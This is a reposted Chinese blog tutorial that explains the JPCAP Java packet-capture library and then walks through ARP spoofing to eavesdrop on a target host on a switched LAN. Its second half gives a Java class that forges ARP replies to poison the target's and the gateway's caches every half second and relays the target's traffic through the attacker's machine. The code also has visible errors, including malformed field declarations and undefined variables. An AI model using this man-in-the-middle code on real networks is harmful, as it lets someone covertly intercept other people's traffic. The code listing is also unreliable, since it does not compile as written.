jpcap簡介及ARP例項【Z】

liuchang0001發表於2010-12-28

一.JPCAP簡介
眾所周知,JAVA語言雖然在TCP/UDP傳輸方面給予了良好的定義,但對於網路層以下的控制,卻是無能為力的。JPCAP擴充套件包彌補了這一點。
JPCAP實際上並非一個真正去實現對資料鏈路層的控制,而是一箇中介軟體,JPCAP呼叫wincap/libpcap,而給JAVA語言提供一 個公共的介面,從而實現了平臺無關性。在官方網站上宣告,JPCAP支援FreeBSD 3.x, Linux RedHat 6.1, Fedora Core 4, Solaris, and Microsoft Windows 2000/XP等系統。
二.JPCAP機制
JPCAP的整個結構大體上跟wincap/libpcap是很相像的,例如NetworkInterface類對應wincap 的typedef struct _ADAPTER  ADAPTER,getDeviceList()對應pcap_findalldevs()等等。 JPCAP有16個類,下面就其中最重要的4個類做說明。

1. NetworkInterface
該類的每一個例項代表一個網路裝置,一般就是網路卡。這個類只有一些資料成員,除了繼承自java.lang.Object的基本方法以外,沒有定義其它方法。

資料成員
NetworkInterfaceAddress[] addresses
    這個介面的網路地址。設定為陣列應該是考慮到有些裝置同時連線多條線路,例如路由器。但我們的PC機的網路卡一般只有一條線路,所以我們一般取addresses[0]就夠了。
java.lang.String datalink_description.
    資料鏈路層的描述。描述所在的區域網是什麼網。例如,乙太網(Ethernet)、無線LAN網(wireless LAN)、令牌環網(token ring)等等。
java.lang.String datalink_name
   該網路裝置所對應資料鏈路層的名稱。具體來說,例如Ethernet10M、100M、1000M等等。
java.lang.String description
   網路卡是XXXX牌子XXXX型號之類的描述。例如我的網路卡描述:Realtek RTL8169/8110 Family Gigabit Ethernet NIC
boolean Loopback
    標誌這個裝置是否loopback裝置。
byte[] mac_address
    網路卡的MAC地址,6個位元組。
java.lang.String Name
    這個裝置的名稱。例如我的網路卡名稱:\Device\NPF_{3CE5FDA5-E15D-4F87-B217-255BCB351CD5}

2. JpcapCaptor
該類提供了一系列靜態方法實現一些基本的功能。該類一個例項代表建立了一個與指定裝置的連結,可以通過該類的例項來控制裝置,例如設定網路卡模式、設定過濾關鍵字等等。

資料成員
int dropped_packets 
拋棄的包的數目。
protected  int ID
    這個資料成員在官方文件中並沒有做任何說明,檢視JPCAP原始碼可以發現這個ID實際上在其JNI的C程式碼部分傳進來的,這類本身並沒有做出定義,所以是供其內部使用的。實際上在對JpcapCator例項的使用中也沒有辦法呼叫此資料成員。
protected static boolean[] instanciatedFlag
   同樣在官方文件中沒有做任何說明,估計其為供內部使用。
protected static int MAX_NUMBER_OF_INSTANCE
同樣在官方文件中沒有做任何說明,估計其為供內部使用。
int received_packets
        收到的包的數目
方法成員
static NetworkInterface[] getDeviceList()
          返回一個網路裝置列表。
static JpcapCaptor openDevice(NetworkInterface interface, int snaplen, boolean promisc, int to_ms)
         建立一個與指定裝置的連線並返回該連線。注意,以上兩個方法都是靜態方法。
      Interface:要開啟連線的裝置的例項;
      Snaplen:這個是比較容易搞混的一個引數。其實這個引數不是限制只能捕捉多少資料包,而是限制每一次收到一個資料包,只提取該資料包中前多少位元組;
      Promisc:設定是否混雜模式。處於混雜模式將接收所有資料包,若之後又呼叫了包過濾函式setFilter()將不起任何作用;
      To_ms:這個引數主要用於processPacket()方法,指定超時的時間;
void Close()
          關閉呼叫該方法的裝置的連線,相對於openDivece()開啟連線。
JpcapSender getJpcapSenderInstance()
          該返回一個JpcapSender例項,JpcapSender類是專門用於控制裝置的傳送資料包的功能的類。
Packet getPacket()
          捕捉並返回一個資料包。這是JpcapCaptor例項中四種捕捉包的方法之一。
int loopPacket(int count, PacketReceiver handler)
          捕捉指定數目的資料包,並交由實現了PacketReceiver介面的類的例項處理,並返回捕捉到的資料包數目。如果count引數設為-1,那麼無限迴圈地捕捉資料。
      這個方法不受超時的影響。還記得openDivice()中的to_ms引數麼?那個引數對這個方法沒有影響,如果沒有捕捉到指定數目資料包,那麼這個方法將一直阻塞等待。
PacketReceiver中只有一個抽象方法void receive(Packet p)。
int processPacket(int count, PacketReceiver handler)
           跟loopPacket()功能一樣,唯一的區別是這個方法受超時的影響,超過指定時間自動返回捕捉到資料包的數目。
int dispatchPacket(int count, PacketReceiver handler)
         跟processPacket()功能一樣,區別是這個方法可以處於“non-blocking”模式工作,在這種模式下dispatchPacket()可能立即返回,即使沒有捕捉到任何資料包。
void setFilter(java.lang.String condition, boolean optimize)
           .condition:設定要提取的包的關鍵字。
       Optimize:這個引數在說明文件以及原始碼中都沒有說明,只是說這個引數如果為真,那麼過濾器將處於優化模式。
void setNonBlockingMode(boolean nonblocking)
     如果值為“true”,那麼設定為“non-blocking”模式。
void breakLoop()
     當呼叫processPacket()和loopPacket()後,再呼叫這個方法可以強制讓processPacket()和loopPacket()停止。

3. JpcapSender
該類專門用於控制資料包的傳送。

方法成員
void close()
          強制關閉這個連線。
static JpcapSender openRawSocket()
     這個方法返回的JpcapSender例項傳送資料包時將自動填寫資料鏈路層頭部分。
void sendPacket(Packet packet)
          JpcapSender最重要的功能,傳送資料包。需要注意的是,如果呼叫這個方法的例項是由JpcapCaptor的 getJpcapSenderInstance()得到的話,需要自己設定資料鏈路層的頭,而如果是由上面的openRawSocket() 得到的話,那麼無需也不能設定,資料鏈路層的頭部將由系統自動生成。

4. Packet
這個是所有其它資料包類的父類。Jpcap所支援的資料包有:
ARPPacket、DatalinkPacket、EthernetPacket、ICMPPacket、IPPacket、TCPPacket、UDPPacket

三.使用JPCAP實現監聽
1.監聽原理
在詳細說用JPCAP實現網路監聽實現前,先簡單介紹下監聽的原理。
區域網監聽利用的是所謂的“ARP欺騙”技術。在以前曾經一段階段,區域網的佈局是使用匯流排式(或集線式)結構,要到達監聽只需要將網路卡設定為混雜模式即 可,但現在的區域網路普遍採用的是交換式網路,所以單純靠混雜模式來達到監聽的方法已經不可行了。所以為了達到監聽的目的,我們需要“欺騙”路由器、“欺 騙”交換機,即“ARP欺騙”技術。
假設本機為A,監聽目標為B。
首先,偽造一個ARP REPLY包,資料鏈路層頭及ARP內容部分的源MAC地址填入A的MAC地址,而源IP部分填入閘道器IP,目的地址填入B的MAC、IP,然後將這個包 傳送給B,而B接收到這個偽造的ARP REPLY包後,由於源IP為閘道器IP,於是在它的ARP快取表裡重新整理了一項,將(閘道器IP,閘道器MAC)重新整理成(閘道器IP,A的MAC)。而B要訪問外 部的網都需要經過閘道器,這時候這些要經過閘道器的包就通通流到A的機器上來了。
接著,再偽造一個ARP REPLY包,資料鏈路層頭及ARP內容部分的源MAC地址填入A的MAC地址,而源IP部分填入B的IP,目的地址填入閘道器MAC、IP,然後將這個包 發給閘道器,閘道器接收到這個偽造的ARP REPLY包後,由於源IP為B的IP,於是在它的ARP快取表裡重新整理了一項,將(B的IP,B的MAC)重新整理成(B的IP,A的MAC)。這時候外部傳 給B的資料包經過閘道器時,就通通轉發給A。
這樣還只是攔截了B的資料包而已,B並不能上網——解決方法是將接收到的包,除了目的地址部分稍做修改,其它原封不動的再轉發出去,這樣就達到了監聽的目的——在B不知不覺中瀏覽了B所有的對外資料包。

ARP資料包解析
單元:Byte
Ethernet頭部 ARP資料部分
6 6 2 2 2 2 2 4 6 4 6
目標MAC地址 源地MAC地址 型別號0x0800:ip
0x0806:ARP 區域網型別
乙太網0x0001 網路協議型別
IP網路0x0800 MAC/IP地址長度,恆為0x06/04 ARP包型別
REPLY
0x0002 ARP目標IP地址 ARP目標MAC 地址 ARP源IP地址 ARP源MAC地址

2.用JPCAP實現監聽
就如上面說的,為了實現監聽,我們必須做四件事:
A. 傳送ARP包修改B的ARP快取表;
B. 傳送ARP包修改路由ARP快取表;
C. 轉發B發過來的資料包;
D. 轉發路由發過來的資料包;

下面我們給個小小的例子說明怎樣實現。
我們假定執行這個程式的機器A只有一個網路卡,只接一個網路,所在區域網為Ethernet,並且假定已經通過某種方式獲得B和閘道器的MAC地址(例如ARP解析獲得)。我們修改了B和閘道器的ARP表,並對他們的包進行了轉發。
public class changeARP{
private NetworkInterface[] devices; //裝置列表
private NetworkInterface device; //要使用的裝置
private JpcapCaptor jpcap; //與裝置的連線
private JpcapSender sender; //用於傳送的例項
private byte[] targetMAC, gateMAC; //B的MAC地址,閘道器的MAC地址
private byte[] String targetIp, String gateIp; //B的IP地址,閘道器的IP地址
/**
*初始化裝置
* JpcapCaptor.getDeviceList()得到裝置可能會有兩個,其中一個必定是“Generic
*dialup adapter”,這是windows系統的虛擬網路卡,並非真正的硬體裝置。
*注意:在這裡有一個小小的BUG,如果JpcapCaptor.getDeviceList()之前有類似JFrame jf=new
*JFame()這類的語句會影響得到裝置個數,只會得到真正的硬體裝置,而不會出現虛擬網路卡。
*虛擬網路卡只有MAC地址而沒有IP地址,而且如果出現虛擬網路卡,那麼實際網路卡的MAC將分
*配給虛擬網路卡,也就是說在程式中呼叫device. mac_address時得到的是00 00 00 00 00 00。
*/
private NetworkInterface getDevice() throws IOException {
devices = JpcapCaptor.getDeviceList(); //獲得裝置列表
device = devices[0]; //只有一個裝置
jpcap = JpcapCaptor.openDevice(device, 2000, false, 10000); //開啟與裝置的連線
jpcap.setFilter(“ip”,true); //只監聽B的IP資料包
sender = captor.getJpcapSenderInstance();
}
/**
*修改B和閘道器的ARP表。因為閘道器會定時發資料包重新整理自己和B的快取表,所以必須每隔一
*段時間就發一次包重新更改B和閘道器的ARP表。
*@引數 targetMAC B的MAC地址,可通過ARP解析得到;
*@引數 targetIp B的IP地址;
*@引數 gateMAC 閘道器的MAC地址;
*@引數 gateIp 閘道器的IP;
*/
public changeARP(byte[] targetMAC, String targetIp,byte[] gateMAC, String gateIp)
throws UnknownHostException,InterruptedException {
this. targetMAC =  targetMAC;
this. targetIp =  targetIp;
this. gateMAC = gateMAC;
this. gateIp = gateIp;
getDevice();
arpTarget = new ARPPacket(); //修改B的ARP表的ARP包
arpTarget.hardtype = ARPPacket.HARDTYPE_ETHER; //選擇乙太網型別(Ethernet)
arpTarget.prototype = ARPPacket.PROTOTYPE_IP; //選擇IP網路協議型別
arpTarget.operation = ARPPacket.ARP_REPLY; //選擇REPLY型別
arpTarget.hlen = 6; //MAC地址長度固定6個位元組
arpTarget.plen = 4; //IP地址長度固定4個位元組
arpTarget.sender_hardaddr = device.mac_address; //A的MAC地址
arpTarget.sender_protoaddr = InetAddress.getByName(gateIp).getAddress(); //閘道器IP
arpTarget.target_hardaddr = targetMAC; //B的MAC地址
arpTarget.target_protoaddr = InetAddress.getByName(targetIp).getAddress(); //B的IP

EthernetPacket ethToTarget = new EthernetPacket(); //建立一個乙太網頭
ethToTarget.frametype = EthernetPacket.ETHERTYPE_ARP; //選擇以太包型別
ethToTarget.src_mac = device.mac_address; //A的MAC地址
ethToTarget.dst_mac = targetMAC; //B的MAC地址
arpTarget.datalink = ethToTarget; //將以太頭新增到ARP包前

arpGate = new ARPPacket(); //修改閘道器ARP表的包
arpGate.hardtype = ARPPacket.HARDTYPE_ETHER; //跟以上相似,不再重複注析
arpGate.prototype = ARPPacket.PROTOTYPE_IP;
arpGate.operation = ARPPacket.ARP_REPLY;
arpGate.hlen = 6;
arpGate.plen = 4;
arpGate.sender_hardaddr = device.mac_address;
arpGate.sender_protoaddr = InetAddress.getByName(targetIp).getAddress();
arpGate.target_hardaddr = gateMAC;
arpGate.target_protoaddr = InetAddress.getByName(gateIp).getAddress();

EthernetPacket ethToGate = new EthernetPacket();
ethToGate.frametype = EthernetPacket.ETHERTYPE_ARP;
ethToGate.src_mac = device.mac_address;
ethToGate.dst_mac = gateMAC;
arpGate.datalink = ethToGate;

thread=new Thread(new Runnable(){ //建立一個程式控制發包速度
public void run() {
while (true) {
sender.sendPacket(arpTarget);
sender.sendPacket(arpGate);
Thread.sleep(500);
}).start();
recP(); //接收資料包並轉發
}
/**
*修改包的以太頭,轉發資料包
*引數 packet 收到的資料包
*引數 changeMAC 要轉發出去的目標
*/
private void send(Packet packet, byte[] changeMAC) {
EthernetPacket eth;
if (packet.datalink instanceof EthernetPacket) {
eth = (EthernetPacket) packet.datalink;
for (int i = 0; i < 6; i++) {
eth.dst_mac[i] = changeMAC[i]; //修改包以太頭,改變包的目標
eth.src_mac[i] = device.mac_address[i]; //源傳送者為A
}
sender.sendPacket(packet);
}
}
/**
*列印接受到的資料包並轉發
*/
public void recP(){
IPPacket ipPacket = null;
while(true){
ipPacket = (IPPacket)jpcap.getPacket();
System.out.println(ipPacket);
if (ipPacket.src_ip.getHostAddress().equals(targetIp))
send(packet, gateMAC);
else
send(packet, targetMAC);
}
}

注意:這個例子只是為了說明問題,並沒有考慮到程式的健壯性,所以並不一定能在任何一臺機器任何一個系統上執行。

相關文章